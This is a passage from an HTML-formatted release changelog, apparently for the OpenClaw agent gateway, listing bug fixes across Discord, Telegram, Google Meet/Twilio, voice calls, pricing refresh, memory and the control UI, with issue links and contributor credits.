<p>Discord: treat abort-time Carbon reconnect-exhausted events as expected shutdown during stale-socket restarts, so health-monitor restarts no longer reject the monitor lifecycle. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4176861539" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58216/hovercard" href="https://github.com/openclaw/openclaw/pull/58216">#58216</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347363347" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73949" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73949/hovercard" href="https://github.com/openclaw/openclaw/pull/73949">#73949</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Perttulands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Perttulands">@Perttulands</a>.</p>
</li>
<li>
<p>Discord/native commands: return an explicit warning when slash command dispatch or direct plugin execution produces no visible reply instead of a success-style completion ack. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4186301600" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58986" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58986/hovercard" href="https://github.com/openclaw/openclaw/issues/58986">#58986</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213236198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62057" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62057/hovercard" href="https://github.com/openclaw/openclaw/pull/62057">#62057</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jb510/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jb510">@jb510</a>.</p>
</li>
<li>
<p>Discord: keep typing indicators alive during long tool runs and auto-compaction while keepalive ticks continue, so active sessions do not appear stalled before the final reply. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Squirbie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Squirbie">@Squirbie</a>.</p>
</li>
<li>
<p>Discord: preserve multipart Content-Type headers for attachment uploads across REST fetch paths, so generated images and other media no longer fail delivery with <code>CONTENT_TYPE_INVALID</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/FunJim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/FunJim">@FunJim</a>.</p>
</li>
<li>
<p>Discord: preserve attachment and sticker filenames when saving inbound media, so agents can see human-readable file names instead of only UUID-based paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195120978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59744" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59744/hovercard" href="https://github.com/openclaw/openclaw/issues/59744">#59744</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xela92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xela92">@xela92</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rockcent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rockcent">@rockcent</a>.</p>
</li>
<li>
<p>Discord: preserve non-ASCII channel names in session display labels while keeping allowlist matching on the existing ASCII slug contract. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/swjeong9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/swjeong9">@swjeong9</a>.</p>
</li>
<li>
<p>Discord/PluralKit: canonicalize proxied webhook turns to the original Discord message id for inbound dedupe, while preserving the proxy message id for reply routing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/acgh213/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/acgh213">@acgh213</a>.</p>
</li>
<li>
<p>Discord: only inject thread starter context on the first turn of the effective thread session, so follow-up thread replies do not repeat the starter block. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4047195697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41355" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41355/hovercard" href="https://github.com/openclaw/openclaw/issues/41355">#41355</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067889287" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44447" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44447/hovercard" href="https://github.com/openclaw/openclaw/issues/44447">#44447</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4067894290" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44449" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44449/hovercard" href="https://github.com/openclaw/openclaw/issues/44449">#44449</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/p3nchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/p3nchan">@p3nchan</a>.</p>
</li>
<li>
<p>Discord: resolve thread <code>ownerId</code> and <code>parentId</code> from Discord API-style snake_case payload fields, so bot-owned autoThreads do not require unnecessary mentions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mgh3326/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mgh3326">@mgh3326</a>.</p>
</li>
<li>
<p>Gateway/diagnostics: include a bounded redacted startup error message in stability bundles, so crash-loop reports identify the failing plugin or contract without exposing secrets. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366332404" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75797/hovercard" href="https://github.com/openclaw/openclaw/issues/75797">#75797</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ymebosma/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ymebosma">@ymebosma</a>.</p>
</li>
<li>
<p>Gateway/pricing: defer optional model pricing catalog refresh until after sidecars and channels reach the ready path, so slow OpenRouter or LiteLLM pricing fetches cannot block Gateway readiness. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348322680" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74128" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74128/hovercard" href="https://github.com/openclaw/openclaw/issues/74128">#74128</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342339751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73486" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73486/hovercard" href="https://github.com/openclaw/openclaw/pull/73486">#73486</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctbritt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctbritt">@ctbritt</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alprclbi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alprclbi">@alprclbi</a>.</p>
</li>
<li>
<p>Gateway/pricing: abort in-flight model pricing catalog fetches when Gateway shutdown stops the refresh loop, and avoid post-stop cache writes or refresh timers. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331072247" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72208" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72208/hovercard" href="https://github.com/openclaw/openclaw/issues/72208">#72208</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rzcq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rzcq">@rzcq</a>.</p>
</li>
<li>
<p>Codex/app-server: make startup retry cleanup ownership-aware so concurrent Codex lanes cannot close another lane's freshly restarted shared app-server client. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Google Meet/Twilio: report missing dial-in details during setup and explain that Twilio cannot join Meet URLs without a phone dial plan.</p>
</li>
<li>
<p>Google Meet/Twilio: start the phone leg before sending Meet PIN DTMF, delay intro speech until after the post-connect dial sequence, and log each stage so operators can tell Twilio-leg audio from Meet-room audio.</p>
</li>
<li>
<p>Voice Call: accept provider call IDs for gateway speak/continue requests and report ended-call state from history instead of returning a generic "Call not found" for stale calls.</p>
</li>
<li>
<p>Control UI/Talk: allow the OpenAI Realtime WebRTC offer endpoint through the Control UI CSP, configure browser sessions with explicit VAD/transcription input settings, and surface OpenAI realtime error/lifecycle events instead of leaving Talk stuck as live with no diagnostic. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341743461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73427" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73427/hovercard" href="https://github.com/openclaw/openclaw/issues/73427">#73427</a>.</p>
</li>
<li>
<p>Plugins: clarify config-selected duplicate plugin override diagnostics and document manifest schema updates for bundled-plugin forks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3894832647" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/8582" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/8582/hovercard" href="https://github.com/openclaw/openclaw/issues/8582">#8582</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sachah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sachah">@sachah</a>.</p>
</li>
<li>
<p>CLI backends/Claude: make live-session JSONL turn caps bounded and configurable via <code>reliability.outputLimits</code>, raising the default guard for tool-heavy Claude CLI turns while preserving memory limits. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367015166" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75838" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75838/hovercard" href="https://github.com/openclaw/openclaw/issues/75838">#75838</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hcordoba840/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hcordoba840">@hcordoba840</a>.</p>
</li>
<li>
<p>Telegram/DMs: keep incidental <code>message_thread_id</code> reply-with-quote metadata on the flat DM session by default while preserving opt-in DM topic isolation for configured topics, <code>dm.threadReplies</code>, and <code>direct.&lt;chatId&gt;.threadReplies</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368172291" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75975" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75975/hovercard" href="https://github.com/openclaw/openclaw/issues/75975">#75975</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ProjectEvolutionEVE/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ProjectEvolutionEVE">@ProjectEvolutionEVE</a>.</p>
</li>
<li>
<p>Telegram/network: raise outbound text and typing Bot API request guards to 60 seconds, keep low grammY client timeouts from preempting those guards, let higher <code>timeoutSeconds</code> configs extend safe method guards, and retry timed-out typing indicators through the transport fallback without risking duplicate messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368500963" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76013" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76013/hovercard" href="https://github.com/openclaw/openclaw/issues/76013">#76013</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iaki1206/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iaki1206">@iaki1206</a>.</p>
</li>
<li>
<p>Telegram/native commands: register and clear command menus in both default and group-chat scopes, so <code>/status</code> and plugin commands stay available in forum topics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347610813" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74032" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74032/hovercard" href="https://github.com/openclaw/openclaw/issues/74032">#74032</a>; updates <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3882532827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/6457" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/6457/hovercard" href="https://github.com/openclaw/openclaw/pull/6457">#6457</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dae-sun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dae-sun">@dae-sun</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WouldenShyp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WouldenShyp">@WouldenShyp</a>.</p>
</li>
<li>
<p>Providers/OpenAI: resolve <code>keychain:&lt;service&gt;:&lt;account&gt;</code> <code>OPENAI_API_KEY</code> refs before creating OpenAI Realtime browser sessions or voice bridges, with a bounded cached Keychain lookup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330678787" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72120/hovercard" href="https://github.com/openclaw/openclaw/issues/72120">#72120</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ctbritt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ctbritt">@ctbritt</a>.</p>
</li>
<li>
<p>Discord/gateway: reconnect when the gateway socket closes while waiting for the shared IDENTIFY concurrency window, instead of silently skipping IDENTIFY and leaving the bot online but unresponsive. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353606299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74617" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74617/hovercard" href="https://github.com/openclaw/openclaw/issues/74617">#74617</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zeeskdr-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zeeskdr-ai">@zeeskdr-ai</a>.</p>
</li>
<li>
<p>Voice Call: add <code>sessionScope: "per-call"</code> for fresh per-call agent memory while preserving the default per-phone caller history. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4072126400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45280" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45280/hovercard" href="https://github.com/openclaw/openclaw/issues/45280">#45280</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pondcountry/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pondcountry">@pondcountry</a>.</p>
</li>
<li>
<p>Music generation: raise too-small tool timeouts to the provider-safe 10-second floor and collapse cascading abort fallback errors into a clearer root-cause summary. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Memory-core/dreaming: include the primary runtime workspace in multi-agent dreaming sweeps without mixing main-agent session transcripts into configured subagent workspaces. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4307075727" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70014/hovercard" href="https://github.com/openclaw/openclaw/issues/70014">#70014</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ttomiczek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ttomiczek">@ttomiczek</a>.</p>
</li>
<li>
<p>Control UI: add tab/RPC timing attribution and decouple slow Overview/Cron secondary refreshes so Sessions navigation gets immediate visible feedback. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4235854543" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64004" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64004/hovercard" href="https://github.com/openclaw/openclaw/issues/64004">#64004</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WaMaSeDu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WaMaSeDu">@WaMaSeDu</a>.</p>
</li>
<li>
<p>Memory: retry transient SQLite index file swaps during atomic reindex on Windows, so brief <code>EBUSY</code>, <code>EPERM</code>, or <code>EACCES</code> locks do not fail memory rebuilds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4237587612" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64187" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64187/hovercard" href="https://github.com/openclaw/openclaw/issues/64187">#64187</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kunpeng-ai-lab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kunpeng-ai-lab">@kunpeng-ai-lab</a>.</p>
</li>
<li>
<p>Telegram/startup: use the existing <code>getMe</code> request guard for the gateway bot probe instead of a fixed 2.5-second budget, and honor higher <code>timeoutSeconds</code> configs for slow Telegram API paths. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366123141" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75783" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75783/hovercard" href="https://github.com/openclaw/openclaw/issues/75783">#75783</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tankotan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tankotan">@tankotan</a>.</p>
</li>
<li>
<p>Telegram/models: make model picker confirmations say selections are session-scoped and do not change the agent's persistent default. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368057405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75965" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75965/hovercard" href="https://github.com/openclaw/openclaw/issues/75965">#75965</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sd1114820/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sd1114820">@sd1114820</a>.</p>
</li>
<li>
<p>Control UI/slash commands: keep fallback command metadata on a browser-safe registry path, so provider thinking runtime imports cannot blank the Web UI with <code>process is not defined</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368284321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75987" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75987/hovercard" href="https://github.com/openclaw/openclaw/issues/75987">#75987</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/novkien/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/novkien">@novkien</a>.</p>
</li>
<li>
<p>Heartbeat/Discord: keep async exec completion events out of the generic <code>System (untrusted)</code> prompt block and let the dedicated exec heartbeat prompt handle them, so Discord no longer receives raw exec failure tails as separate system-style messages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259713936" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66366" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66366/hovercard" href="https://github.com/openclaw/openclaw/issues/66366">#66366</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Promee-ThaBossHoss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Promee-ThaBossHoss">@Promee-ThaBossHoss</a>.</p>
</li>
<li>
<p>Channels: strip plain-text MiniMax and XML tool-call scaffolding from shared user-facing reply sanitization, so messaging channels do not deliver raw model tool syntax when a provider emits it as text instead of structured tool calls. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221535812" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62820" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62820/hovercard" href="https://github.com/openclaw/openclaw/issues/62820">#62820</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/canh0chua/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/canh0chua">@canh0chua</a>.</p>
</li>
<li>
<p>Infer/media: report missing image-understanding and audio-transcription provider configuration for <code>image describe</code>, <code>image describe-many</code>, and <code>audio transcribe</code> instead of blaming the input path when no provider is available. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343347839" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73569" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73569/hovercard" href="https://github.com/openclaw/openclaw/issues/73569">#73569</a> and supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343748623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73593" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73593/hovercard" href="https://github.com/openclaw/openclaw/pull/73593">#73593</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349938490" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74288" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74288/hovercard" href="https://github.com/openclaw/openclaw/pull/74288">#74288</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352412851" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74495" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74495/hovercard" href="https://github.com/openclaw/openclaw/pull/74495">#74495</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tmimmanuel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tmimmanuel">@tmimmanuel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</p>
</li>
<li>
<p>Docs/health: clarify that session listing surfaces stored conversation rows rather than Discord/channel socket liveness, and point connectivity checks at channel status and health probes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4312712740" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70420" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/70420/hovercard" href="https://github.com/openclaw/openclaw/issues/70420">#70420</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ashersoutherncities-art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ashersoutherncities-art">@ashersoutherncities-art</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</p>
</li>
<li>
<p>WhatsApp/Cron: keep DM pairing-store approvals out of implicit cron and heartbeat recipient fallback, so scheduled automation only uses explicit targets, active configured recipients, or configured <code>allowFrom</code> entries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4215965103" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62339" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62339/hovercard" href="https://github.com/openclaw/openclaw/issues/62339">#62339</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kelvinisly-collab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kelvinisly-collab">@kelvinisly-collab</a>.</p>
</li>
<li>
<p>Google Meet: keep the agent-facing <code>google_meet</code> tool visible on non-macOS hosts but block local Chrome realtime actions with guidance, so Linux agents can still use transcribe, Twilio, chrome-node, and artifact flows without choosing the macOS-only BlackHole path. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367913692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75950" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75950/hovercard" href="https://github.com/openclaw/openclaw/issues/75950">#75950</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/actual-software-inc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/actual-software-inc">@actual-software-inc</a>.</p>
</li>
<li>
<p>macOS/settings: keep opening General from rewriting <code>openclaw.json</code> during Tailscale settings hydration, preserving <code>gateway</code>, <code>auth</code>, <code>meta</code>, and <code>wizard</code> until the user changes a setting. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4192663996" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59545" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59545/hovercard" href="https://github.com/openclaw/openclaw/issues/59545">#59545</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Tengdw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Tengdw">@Tengdw</a>.</p>
</li>
<li>
<p>Discord: prioritize interaction callbacks ahead of stale background REST work without polling active REST buckets, validate oversized gateway payloads and member-intent requests before send, and forward explicit component payloads from message actions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362439940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75363" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75363/hovercard" href="https://github.com/openclaw/openclaw/pull/75363">#75363</a>)</p>
</li>
<li>
<p>Active Memory: use the configured recall timeout as the blocking prompt-build hook budget by default and move cold-start setup grace behind explicit <code>setupGraceTimeoutMs</code> config, so the plugin no longer silently extends 15000 ms configs to 45000 ms on the main lane. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367042978" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75843" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75843/hovercard" href="https://github.com/openclaw/openclaw/issues/75843">#75843</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishutdhar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishutdhar">@vishutdhar</a>.</p>
</li>
<li>
<p>Plugins/web-provider: reuse the active gateway plugin registry for runtime web provider resolution after deriving the same candidate plugin ids as the loader path, avoiding a redundant <code>loadOpenClawPlugins</code> call on every request while preserving origin and scope filters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363428779" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75513" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75513/hovercard" href="https://github.com/openclaw/openclaw/issues/75513">#75513</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jochen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jochen">@jochen</a>.</p>
</li>
<li>
